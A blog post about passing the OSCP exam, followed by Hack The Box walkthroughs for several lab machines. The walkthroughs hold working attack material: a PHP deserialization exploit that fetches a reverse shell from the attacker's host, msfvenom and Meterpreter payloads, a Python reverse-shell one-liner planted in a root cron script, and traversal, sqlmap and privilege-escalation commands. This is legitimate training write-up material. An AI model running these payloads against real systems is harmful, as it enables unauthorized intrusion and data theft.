How I passed OSCP in 2024

…and why it probably won’t work for you.

Background

An important factor is one’s prior experiences. It is very likely that I was coding, setting up web-servers, routers, hacking WiFi, and compiling Apache before you were born. Keep that in mind as I explain what worked for me. No I’m not 100 yet, just 37.

Beyond that, I have a Master’s in Computer Science, researched in Wireless Communications for 3 years, worked as an Embedded Software Developer for 3 more years, and worked as a Security Analyst in a SOC for a year and a half after that, before embarking on my OSCP journey. Why do I need the OSCP if I did all that? Personally, I don’t need it, but HR doesn’t care how may PhDs you have, or what you do in your free time. All that matters nowadays is certifications from private companies.

Timeline

Prior purchasing the OSCP course, I set up a plan on how to get there. I wanted to be structured and do as much as possible to maximize my chances of passing the exam. The plan was:

  1. Complete the Offensive Pentesting TryHackMe learning path.
  2. Complete TJ_Null’s list of Hack The Box OSCP-like machines.
  3. Enroll in the OSCP/PEN-200 course and complete your certification.

I completed 1. Being super-motivated in the beginning, I started on TJ_Null’s list. I did a few machines on the list and a few others that attracted my attention (Lame, Brainfuck, Shocker, Bashed, BroScience). Then life got in the way, motivation kinda went down and I didn’t do much more.

On May 25th 2023 I purchased the OSCP course. Due to work and life, by mid-April 2024 (almost a year later) I had only gone through 18 out of the 25 chapters in the training material, and I had completed zero (0) challenge labs. With a bit over a month left in my subscription, I started panicking.

So what did I do? What I do best; isolated myself from the world and focused 110% on one single task. April 21st-23rd I finished all remaining chapters in the training material and did all of the Capstone exercises. I had decided that if I’m gonna have any chance to pass, I will need the 10 bonus points. That meant that I had a bit over a week to complete 30 out of the 57 challenge labs. Starting on April 23rd, I went full beast-mode on the challenge labs. By April 28th, and after I had lost 4 kgs, I had completed 37 our of the 57 challenge labs and therefore earned the aforementioned 10 bonus points. Btw, thanks to the guys and girls in the #pen-200-challenge-labs Discord! Invaluable help!

I decided this is enough, I got of out of my cave, and had a BBQ for May 1st with some friends, to replenish my lost weight during the week of horror.

The day is May 2nd, 08:00 AM, and the exam starts. I started with the AD-set, but I was struggling to gain foothold. At around 10:30 AM I gave up on the AD-set, and started focusing on the other independent machines. By 03:20 PM I had pwned all independent machines and took a breath of relief. I had technically passed the exam since I had 60 points + 10 bonus points = 70 points.

I took a break for half an hour or so, had a cup of coffee, and went back to tackle the AD-set. No kidding, I was banging my head on the AD set for hours and hours, until around 02:00 AM the NEXT day, without getting anywhere. Eventually, I gained foothold. I cannot go into details but I can say that OffSec loves their rabbit-holes. If you get stuck somewhere it is likely a rabbit-hole. Having gained foothold, I pwn the entire AD-set and get domain admin by 04:15 AM.

By that point I’m completely exhausted. I haven’t slept for over 22 hours. I spent another hour checking that my notes are compete, I checked out and went to bed. The next day I wrote the report as detailed as possible and uploaded it to the portal according to OffSec’s instructions. By May 5th I had the pass mail in my inbox, 12 days after I started working on the challenge labs.

Reflections

Was the exam hard?
Not really. Not hard, but tricky. The recipe that works for me is curiosity. Privilege escalation was easy for me since I click and look everywhere and don’t even have to do any advanced enumeration to get there. What I suck at is initial enumeration. For that I probably needed a checklist, but my chaotic nature eventually worked out and I got in. What should you do? Do that works best for you.

Did I do any PG boxes?
Nope, didn’t touch them. Just the training material, and the following challenge labs: Medtech, Relia, OSCP-A, OSCP-B, OSCP-C.

How did I take notes? What was my structure?
I had no structure. Studying in constrained time conditions meant that I had to do the best I can with the limited time available to me. My tactic was to have a document and just dump any useful commands that I find in there. Then Ctrl+F in that document during the exam and hack on! How should you take notes? The way that works best for you!

Should I put more focus on A or B?
All subjects within the OSCP study material are equally important. Just because I got something on the exam it doesn’t mean that you will get the same.

Do I have any final thoughts?
Yes. Do like me: Assume that you suck at this and prepare for failure. The best way to prepare for failure is to ensure you have the 10 extra bonus points on the exam. By doing so, you may accidentally learn something and score 100 + 10 points on the exam.

BroScience – Hack The Box

Machine: https://app.hackthebox.com/machines/BroScience

3 ports open:

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https

It looks like a custom CMS about exercising:

Clicking on “administrator” lead to a user page:

We change the ID in the URL and can exfiltrate all bros:

  • administrator (only one who is admin)
  • bill
  • michael
  • john
  • dmytro

I used Hydra to force a login but after many tries, I gave up:

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -s 443 broscience.htb https-post-form "/login.php:username=^USER^&password=^PASS^:danger"

I noticed that images are not referenced directly but rather fetched using a potential LFI in PHP, i.e. /includes/img.php?path=bench.png

Trying anything with “../” will display “Error: Attack detected.”

I though of trying the php://, expect://, file:// wrappers, but none for them worked.

In the end I gave up and automated the task. I downloaded this list: https://raw.githubusercontent.com/foospidy/payloads/master/other/traversal/dotdotpwn.txt

And wrote this small Python script:

import ssl
import urllib.request
import urllib.parse

pwn = open('dotdotpwn.txt')

for line in pwn:
        line = line.strip()
        req = urllib.request.urlopen('https://broscience.htb/includes/img.php?path='+line,context=ssl._create_unverified_context())
        ans = req.read().decode()
        if 'root:' in ans:
                print('Payload found: ' + line)
                break

Executing it gave us the answer:

$ python3 dotdotpwn.py
Payload found: ..%252f..%252f..%252f..%252fetc%252fpasswd

Awesome. Using this payload we can fetch files from the server. Let’s take a look at the users:

bill and _laurel look interesting. postgresql also has /bin/bash.

Now that we can fetch files, let’s look what dirbuster can find:

I downloaded any relevant .php files like so:

curl -k https://broscience.htb/includes/img.php?path=..%252findex.php > index.php

Using grep -r ".php" . I searched for any .php files I might have missed, but that was all:

Of course, now we have credentials to the database:

In the meanwhile, as I was analyzing the PHP files, I found a potential vulnerability in utils.php.

The Avatar class writes a file using the save() function. The save() function is called by AvatarInterface in __wakeup(), which is called after you unserialize() an object of class AvatarInterface. If we set the 'user-prefs' cookie manually with a serialized instance of AvatarInterface we can get it to write a reverse shell to a file. But for that, we will need a user. If we register a user, we need to guess 32 character alphanumeric code to activate it. However, that may not be as complicated as we think, since the generation of the activation code seems to be deterministic in generate_activation_code().

Since registration and activation seem a little bit too much to do manually, and they probably have to happen in quick succession (the site deletes users after some time), it’s better to develop our own exploit for this.

<?php
// Read the local IP from STDIN
$local_ip = trim(fgets(STDIN));

// Class needed for the payload
class AvatarInterface {
    public $tmp;
    public $imgPath;

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

// GET request using cURL
function get($url, $cookie = '') {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    if (!empty($cookie)) {
        $headers = array();
        $headers[] = 'Cookie: ' . $cookie;
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        die('[-] Error:' . curl_error($ch) . "\n");
    }
    curl_close($ch);

    return $result;
}

// POST request using cURL
function post($url, $data) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        die('[-] Error:' . curl_error($ch) . "\n");
    }
    curl_close($ch);

    return $result;
}

// Generates possible activation codes for the time when the user was created
// plus/minus $timespan seconds.
function possible_activation_codes($time) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    $timespan = 5; // Generate codes for +/- $timespan seconds
    $codes = [];
    for ($t = $time - $timespan; $t <= $time + $timespan; $t++) {
        srand($t);
        $activation_code = "";
        for ($i = 0; $i < 32; $i++) {
            $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
        }
        $codes []= $activation_code;
    }
    return $codes;
}

// Registers a new account
$username = uniqid();
$password = '123';
$time_of_registration = time();
$result = post('https://broscience.htb/register.php', "username=$username&email=$username%40broscience.htb&password=$password&password-confirm=$password");
if (str_contains($result, 'Account created')) {
    echo '[+] Account created: ' . $username . "\n";
} else {
    die('[-] Failed to create account.' . "\n");
}

// Activates the account
$codes = possible_activation_codes($time_of_registration);
$tries = 0;
foreach($codes as $code) {
    echo '[-] Trying code: ' . $code . "\n";
    $result = get('https://broscience.htb/activate.php?code=' . $code);

    if (str_contains($result, 'Account activated')) {
        echo '[+] Account activated!' . "\n";
        break;
    }
    $tries++;
}
if ($tries == count($codes)) die('[-] Failed to activate account. Try increasing $timespan' . "\n");

// Uses the account to authenticate
$result = post('https://broscience.htb/login.php',"username=$username&password=$password");
preg_match('/PHPSESSID=(.+);/', $result, $matches);
$phpsessid = $matches[1];
echo '[+] Got PHPSESSID!' . "\n";

// Uploads a PHP reverse shell
$payload = new AvatarInterface();
$payload->tmp = 'http://'.$local_ip.'/shelly.php';
$payload->imgPath = '/var/www/html/shelly.php';
$payload = base64_encode(serialize($payload));
$result = get('https://broscience.htb/user.php',"PHPSESSID=$phpsessid; user-prefs=$payload");
echo '[+] Payload uploaded!' . "\n";

// Executes the reverse shell
echo '[+] Payload executing... check msfconsole and then Ctrl+C this!' . "\n";
get('https://broscience.htb/shelly.php');
echo '[-] You should not see this line, started the python http server?' . "\n";

Now, we open 3 terminal tabs and run the following:

# Terminal 1
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f raw -o shelly.php
python3 -m http.server 80

# Terminal 2
msfconsole -qx "use exploit/multi/handler;set PAYLOAD php/meterpreter/reverse_tcp;set LHOST 10.10.14.7;set LPORT 4444;run"

# Terminal 3:
echo '10.10.14.7' | php exploit.php

And of course, it worked!

And after many hours and an annoyed girlfriend in the house, we got an initial foothold on the server!

Next step is to get the flags, which was actually very easy to obtain. Not sure if this was the intended path:

# Switch to a shell
meterpreter > shell

# Stabilize it and make it nice with python
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Search for SUID binaries
bash-5.1$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/mount
/usr/bin/ntfs-3g
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/bash
/usr/bin/chsh
/usr/libexec/polkit-agent-helper-1

# BASH??? REALLY???
bash-5.1$ bash -p

bash-5.1# whoami
root

bash-5.1# cat /root/root.txt
bf61***************************************

bash-5.1# cat /home/bill/user.txt
6948***************************************

What did we learn from this box? I have to admit gaining an initial foothold was pretty tough. Not difficult as such, but required in-depth analysis of the web application source code for common mistakes. Sometimes you just have to develop your own exploits!

PS: I’ve read from other walkthroughs that this was not the intended path, and I found some evidence on the machine (certificate generation by root) while getting the flags that I ignored since the SUID binary path was much easier. How did the SUID binary get there? From some other user that was solving the machine at the same time. I will revisit this machine in the future and update the this article accordingly.

Bashed – Hack The Box

Machine: https://app.hackthebox.com/machines/Bashed

I will skip the usual “add the host IP to /etc/hosts” etc etc etc…

Enumerate ports:

nmap -p- bashed.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 10:35 EST
Nmap scan report for bashed.htb (10.10.10.68)
Host is up (0.066s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http

Visit the URL at http://bashed.htb/

Quickly enumerate using dirb:

$ dirb http://bashed.htb/ 

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Jan  9 10:36:05 2023
URL_BASE: http://bashed.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://bashed.htb/ ----
==> DIRECTORY: http://bashed.htb/css/                                                                                   
==> DIRECTORY: http://bashed.htb/dev/
...

Take a wild guess and append /phpbash.php to /dev/, and voila:

User pwned.

PS: It is even easier if you click on the article link in the home page.

Onto r0ot!

First, let’s get a Meterpreter reverse shell to make out lives easier:

In Kali:

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f elf -o shelly.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: shelly.elf

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.68 - - [09/Jan/2023 10:47:32] "GET /shelly.elf HTTP/1.1" 200 -

$ msfconsole   
                                                  
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

In http://bashed.htb/dev/phpbash.php:

www-data@bashed:/tmp# cd /tmp
www-data@bashed:/tmp# wget http://10.10.14.4/shelly.elf

--2023-01-09 07:47:43-- http://10.10.14.4/shelly.elf
Connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: 'shelly.elf'

0K 100% 996K=0s

2023-01-09 07:47:43 (996 KB/s) - 'shelly.elf' saved [250/250]

www-data@bashed:/tmp# chmod 755 shelly.elf
www-data@bashed:/tmp# ./shelly.elf

Back in Kali:

[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Sending stage (3045348 bytes) to 10.10.10.68
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.68:35560) at 2023-01-09 10:49:43 -0500

meterpreter > getuid
Server username: www-data

I can easily get root using the exploit/linux/local/bpf_sign_extension_priv_esc payload since this is a 5-year-old machine, but I want to look around for the intended path first.

After some digging around, I managed to escalate privileges as user scriptmanager:

$ sudo -l 
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
	
$ sudo -u scriptmanager bash -i
$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

When out of ideas, try linpeas.sh:

$ cd /tmp
$ wget http://10.10.14.4/linpeas.sh
$ chmod 755 linpeas.sh
$ ./linpeas.sh

Interesting, let’s investigate:

$ ls -hali /scripts
total 16K
34468 drwxrwxr--  2 scriptmanager scriptmanager 4.0K Jun  2  2022 .
    2 drwxr-xr-x 23 root          root          4.0K Jun  2  2022 ..
43823 -rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
34781 -rw-r--r--  1 root          root            12 Jan  9 08:19 test.txt

$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

$ cat test.txt 
testing 123!

text.txt has a very recent timestamp and is owned by root, which means root is likely executing test.py regularly. Let’s put a reverse shell in there (this time without Metasploit for the fun of it). Run this locally:

$ nc -lvnp 6666

And on the remote machine as scriptmanager:

$ echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' > /scripts/test.py

$ cat /scripts/test.py
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

After a few seconds, we get a connection back from root and we find the flag:

$ nc -lvnp 6666      
listening on [any] 6666 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.68] 37194

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /root/root.txt
c1d33e41205b2ee46a8cdaaf69d98a2c

What did we learn from this machine? It pays off to fight the urge to use an easy exploit with Metasploit. This was undoubtedly a more exciting path.

Shocker – Hack The Box

Machine: https://app.hackthebox.com/machines/Shocker

On to the next machine! Me being lazy just trying port 80 before doing any scan:

Nice!

So let’s bug him? We got the following software running on the server:

$ sudo nmap -sV -O shocker.htb
...
PORT     STATE SERVICE VERSION
80/tcp     open  http     Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

Old Apache means we should look for scripts in /cgi-bin and maybe be able to exploit one using Shellshock.

After much (dir)busting, I found this:

$ curl http://shocker.htb/cgi-bin/user.sh
Content-Type: text/plain

Just an uptime test script

 08:49:56 up  1:21,  0 users,  load average: 0.06, 0.06, 0.01

Then I used Metasploit with the following options (truncated default values from the paste) and got an initial foothold as a user:

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting   Required  Description
   ----                    ---------------        --------       -----------
   RHOSTS          shocker.htb       yes       The target host(s)
   RPORT            80                      yes       The target port (TCP)
   TARGETURI    /cgi-bin/user.sh  yes       Path to CGI script

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----            ---------------      --------       -----------
   LHOST  10.10.14.4       yes       The listen address (an interface may be specified)
   LPORT  4444                yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux x86_64

View the full module info with the info, or info -d command.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run

[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (1017704 bytes) to 10.10.10.56
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.56:40898) at 2023-01-09 08:58:46 -0500

meterpreter > getuid
Server username: shelly

And we have the user flag:

meterpreter > cat /home/shelly/user.txt
aada***********************************

Getting root doesn’t seem to be much more complicated. We can run sudo perl as root without any password:

meterpreter > shell
Process 3852 created.
Channel 4 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
shelly@Shocker:~$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

So we g3t r00t and find the flag:

$ echo "system('whoami');" | sudo /usr/bin/perl    
root

$ echo "system('cat /root/root.txt');" | sudo /usr/bin/perl
ff97****************************

What did we learn from this machine?

If the server looks empty, keep enumerating the URL. Go into specific file types that one may expect to find in directions like cgi-bin. E.g. don’t look for .php files in cgi-bin but rather .cgi or .sh.

Brainfuck – Hack The Box

Machine: https://app.hackthebox.com/machines/Brainfuck

Alright, I have to mention this one has intimidated me. It has a level of “insane.”

Let’s start. A simple portscan reveals the following open ports:

$ nmap 10.10.10.17
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-08 06:38 EST
Nmap scan report for 10.10.10.17
Host is up (0.023s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
110/tcp open pop3
143/tcp open imap
443/tcp open https

The SSL cert points to brainfuck.htb, so we better add that to the /etc/hosts file:

10.10.10.17 brainfuck.htb

It seems that it runs a WordPress installation, with a cryptic message: “SMTP Integration is ready. Please check and send feedback to orestis@brainfuck.htb”. Some really guess:

  1. Gain access and upload a web shell?
  2. Do something with port 25 as user orestis?

At least we know that the admin user is called “admin”. Otherwise, our very helpful login page tells us that the user doesn’t exist:

Using wpscan we find the following helpful information:

$ wpscan --disable-tls-checks --url "https://brainfuck.htb/"
[+] XML-RPC seems to be enabled: https://brainfuck.htb/xmlrpc.php
[+] WordPress readme found: https://brainfuck.htb/readme.html
[+] The external WP-Cron seems to be enabled: https://brainfuck.htb/wp-cron.php
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
[+] WordPress theme in use: proficient
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[+] wp-support-plus-responsive-ticket-system version 7.1.3

Nice, a smörgåsboard of possibilities. The plugin “Support Plus Responsive Ticket System 7.1.3” has two public exploits:

  1. Privilege Escalation: https://www.exploit-db.com/exploits/41006
  2. SQL Injection: https://www.exploit-db.com/exploits/40939

Let’s try to authenticate as admin using the following HTML code:

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="admin">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

Oui oui, je suis admin!

Now let’s create a nice Meterpreter reverse_tcp PHP payload:

$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f raw -o shelly.php

And paste it in the bottom of footer.php at https://brainfuck.htb/wp-admin/theme-editor.php?file=footer.php&theme=proficient

Oh wait, there is no save button. Oh wait, the file is not writable! Argh… You see, guys, I’m not making this up. This is me trying to solve the CTF in real-time.

Let’s try the SQL injection vulnerability. Maybe helpful something is hidden in the depths of MySQL.

According to the exploit, the POST parameter “cat_id” in the wp/admin/admin-ajax.php path is vulnerable. This sqlmap command dumps the database:

sqlmap --dbms=mysql -u "https://brainfuck.htb/wp-admin/admin-ajax.php" --method POST --data "action=wpsp_getCatName&cat_id=0" -p cat_id --cookie='PASTE_HERE_COOKIES_FROM_AN_AUTHENTICATED_SESSION' --level 3 --risk 3 --dump

This will take some time, get some coffee and watch a couple of Mr. Robot episodes on Netflix. There are probably more efficient ways of extracting the database, but I feel lazy right now.

Oh wait (again), while lazy-browsing around I found this page, containing the following SMTP credentials at https://brainfuck.htb/wp-admin/options-general.php?page=swpsmtp_settings

SMTP username: orestis
SMTP password: kHGuERB29DNiNE

Using these credentials, we can authenticate towards the POP3 server (likely also the IMAP) using Thunderbird and fetch the emails for user orestis. There is an interesting message from root:

Hi there, your credentials for our "secret" forum are below 😄

username: orestis
password: kIEnnfEKJ#9UmdO

Regards

Looking at the SSL certificate for brainfuck.htb we can find the “secret” forum:

$ echo "" | openssl s_client -connect brainfuck.htb:443 > cert.key; openssl x509 -in cert.key -text -noout | grep DNS
...
DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

Which we add to /etc/hosts and visit the URL https://sup3rs3cr3t.brainfuck.htb/

After we authenticate using the aforementioned credentials, we see the following interesting conversation in the forum at https://sup3rs3cr3t.brainfuck.htb/d/3-key

This looks like a cipher. If we look at orestis’ profile, we can see he always signs his messages with the following:

Orestis - Hacking for fun and profit
Pieagnm - Jkoijeg nbw zwx mle grwsnn
Wejmvse - Fbtkqal zqb rso rnl cwihsf
Qbqquzs - Pnhekxs dpi fca fhf zdmgzt

We can safely assume that these strings mean the same thing. Knowing a common factor across several messages is partially how Rejewski cracked the Enigma cipher. Do we have something similar here?

We can also safely assume that this is the link to the SSH key, and thus something like:

https://brainfuck.htb/...
mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja

Now let’s try to solve this. If we calculate the distances and arrange them like so, we can see a kind of pattern:

If we try to fill in the blanks, and “re-arrange” the parts of the sequence that repeat, we get something like this:

After many hours of sweat and tears (aka decoding a small piece, using it to get new offsets, decoding another small piece, etc…), I finally managed to decode the messages by writing a small PHP script (why PHP? I hate snakes):

<?php
$key = [21,6,24,16,14,2,25,9,0,18,13]; # Same as above but modulo 26.

$texts = [];
$texts []= "Mya qutf de buj otv rms dy srd vkdof :) Pieagnm - Jkoijeg nbw zwx mle grwsnn";
$texts []= "Xua zxcbje iai c leer nzgpg ii uy...";
$texts []= "Ufgoqcbje.... Wejmvse - Fbtkqal zqb rso rnl cwihsf";
$texts []= "Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :) mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja";
$texts []= "Si rbazmvm, Q'yq vtefc gfrkr nn ;) Qbqquzs - Pnhekxs dpi fca fhf zdmgzt";

foreach ($texts as $text) {
    $di = 0;
    for ($i = 0; $i < strlen($text); $i++) {
        
        if (ctype_alpha($text[$i])) {
            $c = ord($text[$i]);
            $shift = $key[$di++ % count($key)];
            $cn = $c + $shift;

            if ($c >= ord("a") && $c <= ord("z")) {
                while ($cn < ord("a")) $cn += 26;
                while ($cn > ord("z")) $cn -= 26;
            } else if ($c >= ord("A") && $c <= ord("Z")) {
                while ($cn < ord("A")) $cn += 26;
                while ($cn > ord("Z")) $cn -= 26;
            }

            echo chr( $cn );

        } else {
            echo $text[$i];
        } 
    }
    echo "\n";
}
?>

It is sort-off a XOR cipher, but with modulo 26 addition instead of XOR and offset by the ASCII value for “a” or “A.”

PS from the next day: Apparently, this is the “Vigenère cipher,” and the password is “FUCKMYBRAIN.” Look at this beauty:

$ php -r 'foreach (str_split("FUCKMYBRAIN") as $c) echo (1+ord("Z")-ord($c)).",";';
21,6,24,16,14,2,25,9,26,18,13, # Same as I came up with


I’m proud that I managed to solve it without any knowledge of what a Vigenère cipher is.

Running my script gives us the solution:

$ php decode.php 
Hey give me the url for my key bitch :) Orestis - Hacking for fun and profit
Say please and i just might do so...
Pleeeease.... Orestis - Hacking for fun and profit
There you go you stupid fuck, I hope you remember your key password because I dont :) https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
No problem, I'll brute force it ;) Orestis - Hacking for fun and profit

Don’t you love their chemistry? I certainly do.

Anyways, now we can download the private key and try login to the machine using SSH:

$ wget --no-check-certificate https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
$ chmod 600 id_rsa
$ ssh -l orestis -i id_rsa brainfuck.htb
Enter passphrase for key 'id_rsa':

Oh well, fuck. We have to brute force the private key password:

$ ssh2john id_rsa > id_rsa.john
$ john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
3poulakia! (id_rsa)

And the password has been found. By the way, it means “3 small birds” in Greek. Που κάθονταν τα τρια πουλάκια ρε μεγάλε Ορέστη;

May we finally log in to the machine?

$ ssh -l orestis -i id_rsa brainfuck.htb      
Enter passphrase for key 'id_rsa': (3poulakia!)
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


You have mail.
Last login: Mon Oct  3 19:41:38 2022 from 10.10.14.23
orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)

YES! And the user flag is:

$ cat user.txt
2c11*************************************

Now let’s get root.

Ehm, I got root very quickly. I don’t think this was the intended path (old machine/new exploits). Basically, I upgraded to a meterpreter shell, ran the post/multi/recon/local_exploit_suggester module, and then ran the exploit/linux/local/bpf_sign_extension_priv_esc module, which was one of the many exploits suggested. I instantly got root, and the flag was right there:

meterpreter > cat /root/root.txt
6efc********************************

But let’s try to get root the way we were intended to. If we look in orestis’ home dir, there is a script named encrypt.sage that encrypts the root flag and saves it in /home/orestis/output.txt. It looks like an RSA encryption implementation in SageMath. SageMath is a Python-based open-source scripting language for mathematicians. All the information, including the p, q and e keys used during encryption, are available in /home/orestis/debug.txt.

nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)

n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)

c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

Using the information available, I wrote another SageMath script that decrypts the root flag:

# The encrypted message
c = Integer(int(open("output.txt").read().split(" ")[2].strip()));

# Values that were used during encryption
p = Integer(int(open("debug.txt").read().split('\n')[0].strip()));
q = Integer(int(open("debug.txt").read().split('\n')[1].strip()));
e = Integer(int(open("debug.txt").read().split('\n')[2].strip()));
phi = (p-1)*(q-1)
n = p*q

# In RSA, the decryption key d is the multiplicative inverse of e.
# We compute is as such:
d = pow(e, -1, phi)

# And thus the remainder of e*d dividing phi must be equal to 1:
print "This must be equal to 1: " + str((e*d) % phi)

# Now that we have the decryption key d we decrypt message c as such:
m = pow(c, d, n)

print "Root flag: " + ('%x' % int(m)).decode('hex')

And tada, we get the same key once again:

$ sage decrypt.sage
This must be equal to 1: 1
Root flag: 6efc********************************

What did we learn from this box? Two things for me:

  1. Even “insane” machines have a solution given enough time.
  2. Older machines are most certainly easier to root using new exploits and vulnerabilities, but maybe I should stick to the intended path if I want to learn something.

Lame – Hack The Box

Machine: https://app.hackthebox.com/machines/Lame

